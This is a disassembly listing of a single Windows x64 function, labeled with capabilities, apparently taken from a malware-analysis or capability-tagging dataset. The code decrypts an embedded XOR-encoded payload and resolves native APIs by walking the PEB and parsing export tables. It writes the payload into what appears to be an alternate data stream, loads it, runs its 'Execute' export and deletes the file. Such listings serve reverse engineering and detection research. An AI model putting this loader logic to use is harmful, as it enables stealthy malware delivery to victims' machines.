Function at 0x1400016a0
Capabilities:
Access peb ldr_data
Delete file
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x5e8
movaps xmmword [rsp + 0x5d0], xmm6
mov ecx, 0x124800
call fcn.14003cda0
mov r8d, 0x124800
lea rdx, [0x14003f090]
lea rsi, [rsp + 0x4d0]
mov rcx, rax
mov qword [rsp + 0x68], rax
call sub.msvcrt.dll_memcpy
mov rdi, qword [0x14003e010]
lea rax, [rsp + 0x4c0]
mov qword [rsp + 0x4c0], rsi
mov qword [rsp + 0x60], rax
test rdi, rdi
je 0x1400025eb
mov rcx, rdi
call sub.msvcrt.dll_strlen
mov qword [rsp + 0x3b0], rax
mov rbx, rax
cmp rax, 0xf
ja 0x140002370
cmp rax, 1
jne 0x140002310
movzx edx, byte [rdi]
mov byte [rsp + 0x4d0], dl
mov rdx, rsi
mov qword [rsp + 0x4c8], rax
mov r10, qword [rsp + 0x68]
xor ecx, ecx
mov byte [rdx + rax], 0
mov r8, qword [rsp + 0x4c8]
mov r9, qword [rsp + 0x4c0]
nop dword [rax + rax]
mov rax, rcx
xor edx, edx
div r8
movzx eax, byte [r9 + rdx]
xor byte [r10 + rcx], al
add rcx, 1
cmp rcx, 0x124800
jne 0x140001768
cmp r9, rsi
je 0x14000179f
mov rax, qword [rsp + 0x4d0]
mov rcx, r9
lea rdx, [rax + 1]
call fcn.14003cd90
mov rax, qword [0x1401638e0]
mov ecx, 0x20
movdqa xmm0, xmmword [str.a.exe:extractor.CreateFikernel32NtWriteFNtClose]
mov dword [rsp + 0x180], 0x6c6c64
mov byte [rsp + 0x12c], 0
lea rdi, [rsp + 0x2a0]
mov qword [rsp + 0x100], rax
mov rax, qword [0x1401638e8]
movaps xmmword [rsp + 0x170], xmm0
mov dword [rsp + 0x108], 0x41656c
mov qword [rsp + 0x120], rax
mov dword [rsp + 0x128], 0x6c6c642e
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x58], rdi
mov r12, qword [rax + 0x20]
lea r14, [rax + 0x20]
xor eax, eax
rep stosq qword [rdi], rax
mov dword [rdi], 0
cmp r14, r12
je 0x140002335
mov rbp, qword [sym.imp.msvcrt.dll_strcpy_s]
lea rbx, [rsp + 0x190]
xor r13d, r13d
nop dword [rax + rax]
mov rax, r13
mov ecx, 0x20
mov rdi, rbx
xor edx, edx
rep stosq qword [rdi], rax
mov ecx, 0x20
mov r9d, 0xffffffff
mov dword [rdi], 0
mov rdi, qword [rsp + 0x58]
rep stosq qword [rdi], rax
mov dword [rdi], 0
mov r8, qword [r12 + 0x40]
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rdi, qword [rsp + 0x58]
lea r8, [rsp + 0x120]
mov edx, 0x104
mov rcx, rdi
call rbp
lea rsi, [rsp + 0x3b0]
mov r8, rdi
mov edx, 0x104
mov rcx, rsi
call rbp
mov rdi, qword [rsp + 0x60]
mov r8, rbx
mov edx, 0x104
mov rcx, rdi
call rbp
mov rcx, rsi
call qword [sym.imp.msvcrt.dll__strlwr]
mov rcx, rdi
call qword [sym.imp.msvcrt.dll__strlwr]
mov rdx, rsi
mov rcx, rdi
call sub.msvcrt.dll_strstr
test rax, rax
je 0x140002328
mov r14, qword [r12 + 0x20]
movsxd rax, dword [r14 + 0x3c]
add rax, r14
mov r13d, dword [rax + 0x8c]
test r13d, r13d
je 0x140001d88
mov eax, dword [rax + 0x88]
add rax, r14
mov r15d, dword [rax + 0x20]
mov r12d, dword [rax + 0x18]
add r15, r14
test r12d, r12d
je 0x140001d88
xor edi, edi
mov qword [rsp + 0x70], rax
lea r13, [rsp + 0x100]
mov rax, rdi
mov rdi, r15
mov r15, rax
jmp 0x140001961
add r15, 1
add rdi, 4
cmp r12, r15
je 0x140001d88
mov ecx, dword [rdi]
mov rdx, r13
add rcx, r14
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001950
mov rax, qword [rsp + 0x70]
lea rcx, [r14 + r15*2]
mov edx, dword [rax + 0x1c]
mov eax, dword [rax + 0x24]
movzx eax, word [rcx + rax]
lea rax, [r14 + rax*4]
mov eax, dword [rax + rdx]
add rax, r14
je 0x140001d88
lea r15, [rsp + 0x170]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov edx, 0x40000000
mov rcx, r15
mov dword [rsp + 0x20], 2
call rax
mov qword [rsp + 0x78], rax
cmp rax, 0xffffffffffffffff
je 0x140001d88
mov rax, qword [0x1401638f0]
mov rdi, qword [rsp + 0x58]
mov ecx, 0x20
mov dword [rsp + 0x118], 0x656c69
movq xmm6, qword [0x1401638b8]
mov qword [rsp + 0x110], rax
movzx eax, word [0x1401638c0]
movq qword [rsp + 0xb0], xmm6
mov word [rsp + 0x70], ax
mov word [rsp + 0xb8], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov r12, qword [rax + 0x20]
lea r14, [rax + 0x20]
xor eax, eax
rep stosq qword [rdi], rax
mov dword [rdi], 0
cmp r14, r12
je 0x140002335
xor r13d, r13d
lea r15, [rsp + 0xb0]
nop word [rax + rax]
mov rax, r13
mov ecx, 0x20
mov rdi, rbx
xor edx, edx
rep stosq qword [rdi], rax
mov ecx, 0x20
mov r9d, 0xffffffff
mov dword [rdi], 0
mov rdi, qword [rsp + 0x58]
rep stosq qword [rdi], rax
mov dword [rdi], 0
mov r8, qword [r12 + 0x40]
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rdi, qword [rsp + 0x58]
mov r8, r15
mov edx, 0x104
mov rcx, rdi
call rbp
mov r8, rdi
mov edx, 0x104
mov rcx, rsi
call rbp
mov rdi, qword [rsp + 0x60]
mov r8, rbx
mov edx, 0x104
mov rcx, rdi
call rbp
mov rcx, rsi
call qword [sym.imp.msvcrt.dll__strlwr]
mov rcx, rdi
call qword [sym.imp.msvcrt.dll__strlwr]
mov rdx, rsi
mov rcx, rdi
call sub.msvcrt.dll_strstr
test rax, rax
je 0x140002340
mov rdi, qword [r12 + 0x20]
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
mov r12d, dword [rax + 0x8c]
test r12d, r12d
je 0x140001bde
mov edx, dword [rax + 0x88]
add rdx, rdi
mov r14d, dword [rdx + 0x20]
mov r12d, dword [rdx + 0x18]
add r14, rdi
test r12d, r12d
je 0x140001bde
xor r15d, r15d
mov rax, r14
mov qword [rsp + 0x80], rdx
lea r13, [rsp + 0x110]
mov r14, r15
mov r15, rax
jmp 0x140001b6d
add r14, 1
add r15, 4
cmp r14, r12
je 0x140001bde
mov ecx, dword [r15]
mov rdx, r13
add rcx, rdi
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001b60
mov rdx, qword [rsp + 0x80]
lea rcx, [rdi + r14*2]
mov eax, dword [rdx + 0x1c]
mov edx, dword [rdx + 0x24]
movzx edx, word [rcx + rdx]
lea rdx, [rdi + rdx*4]
mov eax, dword [rdx + rax]
add rax, rdi
je 0x140001bde
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x78]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x28], rdx
mov rdx, qword [rsp + 0x60]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x20], rdx
xor edx, edx
mov dword [rsp + 0x30], 0x124800
call rax
mov rax, qword [0x1401638f8]
mov rdi, qword [rsp + 0x58]
mov ecx, 0x20
movq qword [rsp + 0xc0], xmm6
mov qword [rsp + 0x90], rax
movzx eax, word [rsp + 0x70]
mov word [rsp + 0xc8], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov r12, qword [rax + 0x20]
lea r14, [rax + 0x20]
xor eax, eax
rep stosq qword [rdi], rax
mov dword [rdi], 0
cmp r14, r12
je 0x140002335
xor r13d, r13d
lea r15, [rsp + 0xc0]
nop dword [rax]
mov rax, r13
mov ecx, 0x20
mov rdi, rbx
xor edx, edx
rep stosq qword [rdi], rax
mov ecx, 0x20
mov r9d, 0xffffffff
mov dword [rdi], 0
mov rdi, qword [rsp + 0x58]
rep stosq qword [rdi], rax
mov dword [rdi], 0
mov r8, qword [r12 + 0x40]
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rdi, qword [rsp + 0x58]
mov r8, r15
mov edx, 0x104
mov rcx, rdi
call rbp
mov r8, rdi
mov edx, 0x104
mov rcx, rsi
call rbp
mov rdi, qword [rsp + 0x60]
mov r8, rbx
mov edx, 0x104
mov rcx, rdi
call rbp
mov rcx, rsi
call qword [sym.imp.msvcrt.dll__strlwr]
mov rcx, rdi
call qword [sym.imp.msvcrt.dll__strlwr]
mov rdx, rsi
mov rcx, rdi
call sub.msvcrt.dll_strstr
test rax, rax
je 0x140002350
mov rdi, qword [r12 + 0x20]
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
mov r11d, dword [rax + 0x8c]
test r11d, r11d
je 0x140001d88
mov eax, dword [rax + 0x88]
add rax, rdi
mov r14d, dword [rax + 0x20]
mov r12d, dword [rax + 0x18]
add r14, rdi
test r12d, r12d
je 0x140001d88
xor r15d, r15d
mov qword [rsp + 0x70], rax
lea r13, [rsp + 0x90]
mov rax, r15
mov r15, r14
mov r14, rax
jmp 0x140001d4d
add r14, 1
add r15, 4
cmp r12, r14
je 0x140001d88
mov ecx, dword [r15]
mov rdx, r13
add rcx, rdi
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001d40
mov rax, qword [rsp + 0x70]
lea rcx, [rdi + r14*2]
mov edx, dword [rax + 0x1c]
mov eax, dword [rax + 0x24]
movzx eax, word [rcx + rax]
lea rax, [rdi + rax*4]
mov eax, dword [rax + rdx]
add rax, rdi
je 0x140001d88
mov rcx, qword [rsp + 0x78]
call rax
nop dword [rax]
lea rcx, [0x14003f032]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x78], rax
mov r15, rax
test rax, rax
je 0x1400022db
mov r12, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlInitUnicodeString
mov rcx, rax
call r12
mov rdi, rax
lea rdx, str.LdrLoadDll
mov rcx, r15
call r12
mov r12, rax
test rdi, rdi
je 0x1400022d0
test rax, rax
je 0x1400022d0
lea r13, [rsp + 0x140]
lea rdx, str.a.exe:extractor.dll
mov rcx, r13
call rdi
lea r9, [rsp + 0x98]
mov r8, r13
xor edx, edx
xor ecx, ecx
call r12
test eax, eax
js 0x1400022d0
mov rax, qword [str.Execute]
mov r14, qword [rsp + 0x98]
mov qword [rsp + 0x4c0], rax
movsxd rax, dword [r14 + 0x3c]
add rax, r14
mov r10d, dword [rax + 0x8c]
test r10d, r10d
je 0x140001eb6
mov r15d, dword [rax + 0x88]
add r15, r14
mov r12d, dword [r15 + 0x20]
mov edi, dword [r15 + 0x18]
add r12, r14
test edi, edi
je 0x140001eb6
xor r13d, r13d
mov qword [rsp + 0x70], r15
mov r15, r13
mov r13, r12
mov r12, rdi
mov rdi, qword [rsp + 0x60]
jmp 0x140001e7d
add r15, 1
add r13, 4
cmp r12, r15
je 0x140001eb6
mov ecx, dword [r13]
mov rdx, rdi
add rcx, r14
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001e70
mov r13, r15
mov r15, qword [rsp + 0x70]
lea rcx, [r14 + r13*2]
mov edx, dword [r15 + 0x24]
mov eax, dword [r15 + 0x1c]
movzx edx, word [rcx + rdx]
lea rdx, [r14 + rdx*4]
mov eax, dword [rdx + rax]
add rax, r14
je 0x140001eb6
call rax
movzx eax, word [0x1401638c0]
movdqa xmm0, xmmword [str.NtCurrentProcessLdrUnloa]
mov byte [rsp + 0x160], 0
mov ecx, 0x20
movq xmm6, qword [0x1401638b8]
mov rdi, qword [rsp + 0x58]
mov word [rsp + 0x70], ax
mov word [rsp + 0xd8], ax
movaps xmmword [rsp + 0x150], xmm0
movq qword [rsp + 0xd0], xmm6
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov r12, qword [rax + 0x20]
lea r14, [rax + 0x20]
xor eax, eax
rep stosq qword [rdi], rax
mov dword [rdi], 0
cmp r14, r12
je 0x140002335
xor r13d, r13d
lea r15, [rsp + 0xd0]
nop dword [rax]
mov rax, r13
mov ecx, 0x20
mov rdi, rbx
xor edx, edx
rep stosq qword [rdi], rax
mov ecx, 0x20
mov r9d, 0xffffffff
mov dword [rdi], 0
mov rdi, qword [rsp + 0x58]
rep stosq qword [rdi], rax
mov dword [rdi], 0
mov r8, qword [r12 + 0x40]
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rdi, qword [rsp + 0x58]
mov r8, r15
mov edx, 0x104
mov rcx, rdi
call rbp
mov r8, rdi
mov edx, 0x104
mov rcx, rsi
call rbp
mov rdi, qword [rsp + 0x60]
mov r8, rbx
mov edx, 0x104
mov rcx, rdi
call rbp
mov rcx, rsi
call qword [sym.imp.msvcrt.dll__strlwr]
mov rcx, rdi
call qword [sym.imp.msvcrt.dll__strlwr]
mov rdx, rsi
mov rcx, rdi
call sub.msvcrt.dll_strstr
test rax, rax
je 0x140002360
mov rdi, qword [r12 + 0x20]
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
mov r9d, dword [rax + 0x8c]
test r9d, r9d
je 0x1400025c0
mov edx, dword [rax + 0x88]
add rdx, rdi
mov r14d, dword [rdx + 0x20]
mov eax, dword [rdx + 0x18]
add r14, rdi
test eax, eax
je 0x1400025c0
xor r15d, r15d
mov r13d, eax
mov rax, r14
mov qword [rsp + 0x80], rdx
mov r14, r15
lea r12, [rsp + 0x150]
mov r15, rax
jmp 0x140002051
add r14, 1
add r15, 4
cmp r14, r13
je 0x1400025c0
mov ecx, dword [r15]
mov rdx, r12
add rcx, rdi
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140002040
mov rdx, qword [rsp + 0x80]
lea rcx, [rdi + r14*2]
mov eax, dword [rdx + 0x1c]
mov edx, dword [rdx + 0x24]
movzx edx, word [rcx + rdx]
lea rdx, [rdi + rdx*4]
mov eax, dword [rdx + rax]
add rax, rdi
je 0x1400025c0
call rax
mov qword [rsp + 0x80], rax
movzx eax, word [rsp + 0x70]
mov rdi, qword [rsp + 0x58]
mov r8d, 0x7972
mov dword [rsp + 0x180], 0x6f6d654d
movdqa xmm0, xmmword [str.NtProtectVirtualMemory]
mov word [rsp + 0x184], r8w
mov ecx, 0x20
mov byte [rsp + 0x186], 0
movaps xmmword [rsp + 0x170], xmm0
mov qword [rsp + 0xa8], 0
mov word [rsp + 0xe8], ax
movq qword [rsp + 0xe0], xmm6
mov rax, qword gs:[0x60]
mov qword [rsp + 0xa0], 0
mov rax, qword [rax + 0x18]
mov r12, qword [rax + 0x20]
lea r14, [rax + 0x20]
xor eax, eax
rep stosq qword [rdi], rax
mov dword [rdi], 0
cmp r14, r12
je 0x140002335
xor r13d, r13d
lea r15, [rsp + 0xe0]
nop dword [rax]
mov rax, r13
mov ecx, 0x20
mov rdi, rbx
xor edx, edx
rep stosq qword [rdi], rax
mov ecx, 0x20
mov r9d, 0xffffffff
mov dword [rdi], 0
mov rdi, qword [rsp + 0x58]
rep stosq qword [rdi], rax
mov dword [rdi], 0
mov r8, qword [r12 + 0x40]
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rdi, qword [rsp + 0x58]
mov r8, r15
mov edx, 0x104
mov rcx, rdi
call rbp
mov r8, rdi
mov edx, 0x104
mov rcx, rsi
call rbp
mov rdi, qword [rsp + 0x60]
mov r8, rbx
mov edx, 0x104
mov rcx, rdi
call rbp
mov rcx, rsi
call qword [sym.imp.msvcrt.dll__strlwr]
mov rcx, rdi
call qword [sym.imp.msvcrt.dll__strlwr]
mov rdx, rsi
mov rcx, rdi
call sub.msvcrt.dll_strstr
test rax, rax
je 0x1400023c0
mov r12, qword [r12 + 0x20]
movsxd rax, dword [r12 + 0x3c]
add rax, r12
mov ecx, dword [rax + 0x8c]
test ecx, ecx
je 0x1400023d8
mov edx, dword [rax + 0x88]
add rdx, r12
mov r13d, dword [rdx + 0x20]
mov edi, dword [rdx + 0x18]
add r13, r12
test edi, edi
je 0x1400023d8
xor r14d, r14d
mov qword [rsp + 0x88], rdx
lea r15, [rsp + 0x170]
mov rax, r14
mov r14, r13
mov r13, rax
jmp 0x140002249
add r13, 1
add r14, 4
cmp rdi, r13
je 0x1400023d8
mov ecx, dword [r14]
mov rdx, r15
add rcx, r12
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140002238
mov rdx, qword [rsp + 0x88]
lea rcx, [r12 + r13*2]
mov eax, dword [rdx + 0x1c]
mov edx, dword [rdx + 0x24]
movzx edx, word [rcx + rdx]
lea rdx, [r12 + rdx*4]
mov eax, dword [rdx + rax]
add rax, r12
je 0x1400023d8
mov qword [rsp + 0x20], r15
mov rcx, qword [rsp + 0x80]
lea rdx, [rsp + 0xa0]
mov r9d, 4
lea r8, [rsp + 0xa8]
call rax
test eax, eax
jns 0x1400023d8
mov rcx, qword [rsp + 0x60]
mov eax, 0x65
mov dword [rsp + 0x4c0], 0x78652e61
mov word [rsp + 0x4c4], ax
call sub.msvcrt.dll_remove
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rsp + 0x68]
mov edx, 0x124800
call fcn.14003cd90
nop
movaps xmm6, xmmword [rsp + 0x5d0]
add rsp, 0x5e8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
test rax, rax
je 0x14000173d
mov rcx, rsi
jmp 0x1400023a0
mov r12, qword [r12]
cmp r14, r12
jne 0x140001848
mov eax, dword [0x3c]
ud2
mov r12, qword [r12]
cmp r14, r12
jne 0x140001a58
jmp 0x140002335
mov r12, qword [r12]
cmp r14, r12
jne 0x140001c48
jmp 0x140002335
mov r12, qword [r12]
cmp r14, r12
jne 0x140001f38
jmp 0x140002335
mov rcx, qword [rsp + 0x60]
lea rdx, [rsp + 0x3b0]
xor r8d, r8d
call fcn.140039a50
mov qword [rsp + 0x4c0], rax
mov rcx, rax
mov rax, qword [rsp + 0x3b0]
mov qword [rsp + 0x4d0], rax
mov rdx, rdi
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x3b0]
mov rdx, qword [rsp + 0x4c0]
jmp 0x140001740
mov r12, qword [r12]
cmp r14, r12
jne 0x140002138
jmp 0x140002335
mov rax, qword [rsp + 0x98]
mov rdi, qword [rsp + 0x58]
mov dword [rsp + 0x138], 0x6c6c4464
mov ecx, 0x20
mov byte [rsp + 0x13c], 0
mov qword [rsp + 0x80], rax
mov rax, qword [0x140163920]
movq qword [rsp + 0xf0], xmm6
mov qword [rsp + 0x130], rax
movzx eax, word [rsp + 0x70]
mov word [rsp + 0xf8], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov r12, qword [rax + 0x20]
lea r14, [rax + 0x20]
xor eax, eax
rep stosq qword [rdi], rax
mov dword [rdi], 0
cmp r14, r12
je 0x140002335
xor r13d, r13d
lea r15, [rsp + 0xf0]
nop
mov rax, r13
mov ecx, 0x20
mov rdi, rbx
xor edx, edx
rep stosq qword [rdi], rax
mov ecx, 0x20
mov r9d, 0xffffffff
mov dword [rdi], 0
mov rdi, qword [rsp + 0x58]
rep stosq qword [rdi], rax
mov dword [rdi], 0
mov r8, qword [r12 + 0x40]
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rdi, qword [rsp + 0x58]
mov r8, r15
mov edx, 0x104
mov rcx, rdi
call rbp
mov r8, rdi
mov edx, 0x104
mov rcx, rsi
call rbp
mov rdi, qword [rsp + 0x60]
mov r8, rbx
mov edx, 0x104
mov rcx, rdi
call rbp
mov rcx, rsi
call qword [sym.imp.msvcrt.dll__strlwr]
mov rcx, rdi
call qword [sym.imp.msvcrt.dll__strlwr]
mov rdx, rsi
mov rcx, rdi
call sub.msvcrt.dll_strstr
test rax, rax
je 0x1400025a8
mov rdi, qword [r12 + 0x20]
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
mov edx, dword [rax + 0x8c]
test edx, edx
je 0x1400022ae
mov r13d, dword [rax + 0x88]
add r13, rdi
mov ebp, dword [r13 + 0x20]
mov ebx, dword [r13 + 0x18]
add rbp, rdi
test ebx, ebx
je 0x1400022ae
xor r12d, r12d
lea rsi, [rsp + 0x130]
jmp 0x140002561
add r12, 1
add rbp, 4
cmp rbx, r12
je 0x1400022ae
mov ecx, dword [rbp]
mov rdx, rsi
add rcx, rdi
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140002550
mov edx, dword [r13 + 0x24]
lea rcx, [rdi + r12*2]
mov eax, dword [r13 + 0x1c]
movzx edx, word [rcx + rdx]
lea rdx, [rdi + rdx*4]
mov eax, dword [rdx + rax]
add rax, rdi
je 0x1400022ae
mov rcx, qword [rsp + 0x80]
call rax
jmp 0x1400022ae
mov r12, qword [r12]
cmp r14, r12
jne 0x140002460
jmp 0x140002335
mov qword [rsp + 0x80], 0
jmp 0x140002093
lea rcx, section..rdata
call fcn.14003d580
nop
nop dword [rax + rax]